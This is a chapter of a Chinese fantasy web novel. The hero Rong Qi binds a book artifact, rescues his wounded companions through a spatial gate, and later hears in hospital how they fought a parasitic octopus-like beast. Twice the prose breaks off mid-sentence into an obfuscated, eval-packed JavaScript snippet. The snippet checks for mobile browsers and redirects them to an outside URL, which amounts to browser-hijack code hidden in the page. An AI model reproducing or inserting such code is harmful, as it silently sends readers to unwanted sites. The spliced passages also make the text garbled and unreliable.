“……五星之气,六甲……之精……” “三真……天仓,青云常盈……” “……乾坤万世,守中无倾……” 最后一个字轻飘飘的落下,容栖明显感觉自己的神念一阵翻腾,紧接着浑身痛感骤然在一瞬间清空。 “我的……天呐,总算是……结束了!”容栖精疲力尽的往后一倒,惨白着一张脸大口呼气。 “我说,巫杭,你这神器有名字吗?”容栖缓了口气,又开始骚扰巫杭,“都结契了,告诉我呗~” 巫杭隔了好一会儿才回应,“以前有过,但已经很久没用了。” 光听声音没什么异常,但容栖刚才都痛成那个狗样了,他才不信结契另一方的巫杭会很轻松。 话说为什么他俩结契这么艰难啊?! 抬手摸了摸眉心,刚才那本书就是从这里钻进了他脑子里,现在也不知道去哪儿了,但容栖能感觉到它和自己隐约的联系。 “既然这样,不如我来取一个新名字吧!”容栖兴致勃勃,“就这么愉快的决定了!” 巫杭:“……随你。” 反正观世录三个字已经从封面上抹除了。 “我已经想好了,不过暂时不告诉你,”容栖卖了个关子,“你别睡得太死啊,错过了我给神器赐名的大好日子!” 他听见脑海里传来巫杭的一声轻笑,只听他笑着应下,“还是瞒不过你,不过……我记住了。” 容栖也笑了,打趣道:“这里不用你了,赶紧去歇着吧器灵先生~” 脑子里安静下来,容栖感应了一下,猜测巫杭应该已经如他所说陷入沉眠了。 容栖稍稍摆烂了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223778|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,还是拖着自己疲惫的身体坐起来。 “嘿咻!” 他眨了眨还有些潮意的眼睛,看向面前悬浮的两枚铜钱。 “出去的办法已经有了,还是把他俩拉回来?” 只是虽然给了两个‘移花接木’的铜钱阵盘出去,但其实那只能起到一个给容栖传递位置的作用。 实际发力的还是待在原地的容栖。 也就是说现在累得恨不得倒头就睡的容栖还得挤出额外的力气来施展两个并不简单的空间置换法阵。 我的命还真是苦啊! 稍稍感叹了一下做人的艰辛,容栖没有过多犹豫,并指一立。 “乾坤挪移,瞬息千里!” 面前空白铜钱上缠绕的头发忽的无火自燃,容栖在这一瞬间捕捉到远处两枚‘移花接木’的位置,迅速完成定位。 “给我移!” 细细的发丝很快烧完,铜钱剧烈颤抖。 容栖顾不上鬓角的冷汗滑落,眼睛火辣辣的疼,咬牙稳住微颤的指尖。 短暂的僵持过后,两枚铜钱倏地消失在原地。 取而代之的,是被换回来的两个大活人! 只是换过来的两人形象颇为凄惨。 “你俩……什么情况?!” 容栖以为自己在这边受结契之痛已经够狼狈了,没想到眼前这两位看起来更是惨不忍睹。 至少容栖身上最大的口子还是他自己用风刃划的。 而白洛和曲浮玉就比较惨了,浑身大的小的口子都不少,伤口涌出的血都快把两人的衣服染成血衣了。 不过看起来精神还行,白洛一落地就猛地松开扶着曲浮玉的手,急吼吼的冲容栖大呼小叫: “我的天老容!你可算把我俩拉回来了!” 他一脸后怕的样子,“我靠,少爷我差点折里面!” 容栖眼睁睁看着突然失去支撑的曲浮玉踉跄了一下,在白洛背后用幽幽的眼神盯着他。 “咳呃、所以曲姐姐,里面有地渊裂缝吗?”容栖亡羊补牢地走近扶住精神明显更差一些的曲浮玉。 曲浮玉收回效果基本为零的视线,转而回答容栖,“不知道,不过应该是陷阱。” 懂得用裂隙蜘蛛做诱饵的陷阱吗? 容栖没有多说什么,制止了手舞足蹈、激动欲言的白洛。 “我找到办法离开地渊了,”他目光投向迷雾深处,总觉得里面有不知名的视线投射出来,“事不宜迟,赶紧走吧!” 曲浮玉惊讶的看向他,却按捺住了追问的冲动。 白洛眨眨眼,居然也没有细究,只催促道:“快走快走,我是一刻也不想在这里待下去了!” “哼,都说了好奇心害死猫,让你瞎好奇!” 见缝插针地损了白洛一句,容栖才闭上眼细细感应了一下在神念中沉浮的书型神器。 片刻后,切实借到了神器的万界穿梭之能,容栖乍然睁开眼。 他没看见身旁两人诧异的目光。 “天地正反,魂入云端!” 容栖身前缓缓凝出一道虚虚实实的大门,与此同时,他本就苍白的面色迅速灰败下去。 “无所……不至!” 如他所想,冲出地渊远远比不上穿越世界困难,只不过对现在的容栖来说也并不容易就是了。 虚虚实实的通道艰难的稳定下来,隐隐可以看见圈出门框形状的璀璨星辉。 曲浮玉没有一句废话,推了一把愁眉苦脸的白洛,率先跳进门内。 白洛也不傻,生怕多耽搁一秒都是在氪老容的命,连忙以最快的速度跨进门内。 见两人的身影迅速消失在门后,容栖才噗地吐出一大口血,一步步挪进闪烁着层层星辉,满是玄妙气息的大门。 “……雪上加霜,还真不是开玩笑的啊……” 撕开空间的星辉大门虚影无声溃散,仿佛从未出现过。 26.逃出生天 惦记着容栖那副死了有三天的面色,白洛刚出来就焦急地回头看去,这才眼疾手快的接住了从门内直接跌出来的容栖。 白洛把软趴趴的人翻过来一看,好家伙一整个口吐鲜血、生死不知啊! “喂!老容?老容!还活着吗?!” 一旁的曲浮玉有气无力地提醒他,“别晃了,等会儿活的都给你晃成死的了。” 白洛摇晃自家兄弟的手一顿,转而开始往容栖的裤兜里摸去。 嘴角一抽,曲浮玉简直没眼看,“我说……你这也太趁人之危了吧?” 浓眉大眼的,没想到你是这样的白洛! “把你脑袋里的废料倒倒干净,”白洛无语道,“我找手机呢!” 他们出来的地方一眼看去只有一片绿油油的荒郊野岭,在场三人又伤的伤残的残,没有手机还真不好快速抢救。 白洛自己的手机在迷雾里上蹿下跳的早不知道甩飞到哪里去了,想来曲浮玉也好不到哪儿去。 唯有指望容栖的手机还幸存了。 不一会儿,白洛成功从昏死过去的容栖身上掏出他的手机,他抓着人右手拇指就往屏幕上按。 白洛看着手机屏幕上的点点血迹轻轻皱眉。 曲浮玉:“怎么样,能用不?” 白洛看她一眼,道:“运气不错,看来是死不了。” 总之,感谢万能的现代科技,让容栖不至于在露天席地的野外醒来。 “咔嚓——” 熟悉的病房,熟悉的抢他苹果吃的白洛。 “喲,醒了?” 容栖眯着眼适应了一下光线,沙哑开口,“我说,能不能有点眼力见儿?” 他盯了两眼白洛手里的苹果,理所当然的指使人,“小白还不快给爸爸倒杯水——” 白洛翻了个白眼,起身给他倒水。 “命都去了半条了,还搁这跟我嘴呢?” 白洛把水递给靠坐起来的容栖,“我看你就是浑身上下嘴最硬!” 明明从展开虚空之门时这人骤然灰败的脸色就知道他绝对不好过。 “呼~”喝了口水润润嗓子,容栖彻底清醒过来,“别说我了,你怎么样?当时看着跟要血尽而亡似的。” 他看见白洛袖子底下缠绕的层层绷带,估摸着这人伤的也不轻。 “没什么大事,就是看起来吓人而已,都是些皮外伤。”白洛倒是浑不在意的样子。 “还是你和曲浮玉俩比较麻烦,一个出来就躺尸了,一个刚跨进医院就倒下了,把人家医生吓得够呛!” “这医院是……?” 白洛让他少操心,“白家的,放心。” “那就好。”毕竟他们这又是吐血又是满身血口的,容易引发不必要的关注。 “所以你们在站台里遇见什么了?”容栖不解,“不是让打不过就跑吗?” 说起这个就来气,白洛狠狠咬了一口苹果,含糊地开始讲。 站台里边那个,勉强也算是容栖所说的人形怪吧。反正一开始看着的确像个人。 白洛和曲浮玉进了站台没一会儿就分开了,迷雾里可见度本来就低,他需要紧追着才不至于跟丢视野里的几只裂隙蜘蛛。 就这样追着裂隙蜘蛛走了不知道多久,白洛都要怀疑自己是不是一直在兜圈子了,否则这站台占地面积也大的离谱了吧。 他就这么短暂的一晃神,再回过头就发现一直追着的裂隙蜘蛛不见了踪影。取而代之的是前方迷雾里影影绰绰的人形影子。 “曲浮玉?”白洛试探着小声问道,一边小心的走近了两步。 没有听到回应,但白洛看清了那人影的面貌。 不是什么曲浮玉,那人影穿着一身售票员的制服,外面套了件鲜艳的红马甲。 白洛想起容栖说的会披人皮的无脸怪,有些警惕的停住了脚步。他是来找地渊裂缝的,对这些妖魔鬼怪不感兴趣。 那人影侧对着白洛,他不知道自己有没有引起对方的注意。但他还是调整呼吸,悄无声息地往后退,甚至调动了如水的阴影。 深邃的暗色阴影轻轻涌动了一下,那晃眼的红马甲眨眼间消失不见。 白洛心里一跳,反应十分迅速地踩着阴影往左侧一滑。 拔地而起的宽大影刃恰好挡住了从右侧而来的袭击。 影刃上传来的触感似钢似铁,白洛摸不清楚对方的攻击手段。 但没时间考虑那么多了! 套着红马甲的身影绕过影刃,飞速向着白洛袭来,隐约能看见它脸上居然还带着亲切和善的笑容。 “一开始我其实以为那家伙是你说的那种伪人,毕竟都长着一副人样。” 白洛手上有一搭没一搭的削着苹果。 “应该不是一个品种,”容栖道,“那些伪人人形状态下攻击力不高,很好对付。” 而听白洛的描述,跟他对打的东西显然具备极快的攻击速度。 “后来我知道了,”白洛一脸晦气,“那家伙严格来说压根就不是人形!” 真正近距离和红马甲交上手之后,白洛很轻易就发现了蹊跷。 白洛的短刀划破红马甲的皮肉,里面没有露出黑红色的粘液,但也算不上正常。 划开的破口处流出的是属于人类的殷红血液,以及隐藏在肌肉纹理中的蠕动着的灰白触须。 “那个场景,”白洛皱着脸,“现在想起来我都浑身起鸡皮疙瘩!” 容栖认同地点点头,光听描述都知道那个场面有多重口。 “所以说,那个红马甲就是个被操纵的躯壳,真正的魇兽本体是那些触须?” 白洛点头,又摇头,“这么说也没错,就是那东西比你想象的要大多了!” 在看到那些隐藏在血肉里的触须之后,白洛生怕自己也被这诡异又恶心的东西碰到,隔着两米远指挥影刃三下五除二地把红马甲的腿给剁了。 省得再追着他吓唬人。 “然后呢?”容栖等着白洛接着讲。 白洛木着一张脸反问道:“你知道章鱼吗?” 容栖不明所以,“呃……应该知道?” “那东西的本体应该跟章鱼挺像,”白洛说,“都长着一堆腕足!” “那个被我剁了的红马甲就挂在它的腕足上,我砍了它一根脚,丫的一堆脚围了上来!” 容栖被他着接地气的描述给逗乐了,“听起来挺麻烦,你是怎么跑掉的?” “跑什么跑,”白洛没好气道,“那东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240564|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西的腕足上全是倒刺,挨一下就是一道口子!顶端还有那种密密麻麻的触须,完全就是一个大型污染物的架势!” 容栖也听得皱起眉头,要是不小心被倒刺刮一下,再接触到能钻进血肉的触须的话…… “我说,你们回来的时候满身都是血口,确定没被寄生?” 容栖怀疑地盯着眼前的白洛。 白洛怒道:“你能不能想我点好的?!” “毕竟是寄生,”容栖正色道,“马虎不得。” 白洛:“我当然知道。” 所以就算被一堆腕足围攻,白洛也使出了浑身解数硬是没沾上一点倒刺和触须。 只是这终究不是长久之计,白洛暂时防住了对面的攻击,但他也实在脱不了身。 “不过幸好曲浮玉赶过来了,”白洛突然道,“多亏了她,不然我不被寄生也得耗死在那儿。” 当时那种情况下,数不尽的腕足不停歇的攻击已经让白洛分身乏术了,哪还有空隙摸出容栖的铜钱逃生。 “我还是第一次见那么神奇的玄术,”他说,“曲浮玉说就像章鱼的脑子长在腕足里一样,其实每根腕足的行动都是由其上那团触须控制的,她能解决。” “她把章鱼脑子给碾碎了?”容栖挑眉笑着问。 “没错!”白洛说道,表情难掩赞叹,“虽然摁住腕足的时候多少会受点伤,但基本上下一秒曲浮玉就能完全废掉顶上那团触须,根本不给它寄生的机会!” “这就是梦引术的厉害之处,”容栖轻笑,“她有一招‘虚梦’,能抹消表意识,吞噬潜意识,可谓是杀人不见血的利器!” “像这种有点聪明又不多的魇兽,用这招‘虚梦’来对付再轻松不过了!” 白洛点点头,“我说她一个研究梦境的干嘛还不自量力地往地渊跑呢,原来还可以来给魇兽降智的啊!” “能别把我的梦引术说的这么low吗?”门口传来带着笑意的女声。 白洛转头看见推开门进来的曲浮玉,她看起来恢复得不错,脸色红润不少。 “是是是,咱们曲姐最强,”容栖调侃道,“只不过这次真要谢谢你了!” 不然还真不知道老白能不能撑到容栖发动移花接木。 曲浮玉哼笑一声,“我早说过了,我对你们没有恶意。” “好啦~”容栖右手食指和中指在被子上交替着走了两步,啪一下作跪倒状,放软了声音道:“之前是我不对,小的给曲姐姐赔个不是~” 白洛噗嗤一笑,乐出了声,“哈哈哈老容你这、像那个什么小白脸似的!” 曲浮玉也是忍俊不禁,头一次觉得容栖这小子还是有点可爱的。 她走近几步,顺手呼噜两下容栖脑袋上的软毛,笑吟吟道:“你这不是会好好说话嘛~早这样姐姐能不稀罕你?” 白洛:“噗哈哈哈哈哈哈哈更像了哈哈!” 容栖拨开脑袋上的手,抽出背后的枕头砸向白洛。 “我看你长得也怪让人心痒,噢~我知道了,您就跟那沙包似的!一天天摆在那儿就很欠抽!” “哈容栖你是恼羞成怒了吧?!绝对是吧!” 白洛不甚在意地抓住从脸上滑落的枕头,嚣张的笑声直冲云霄。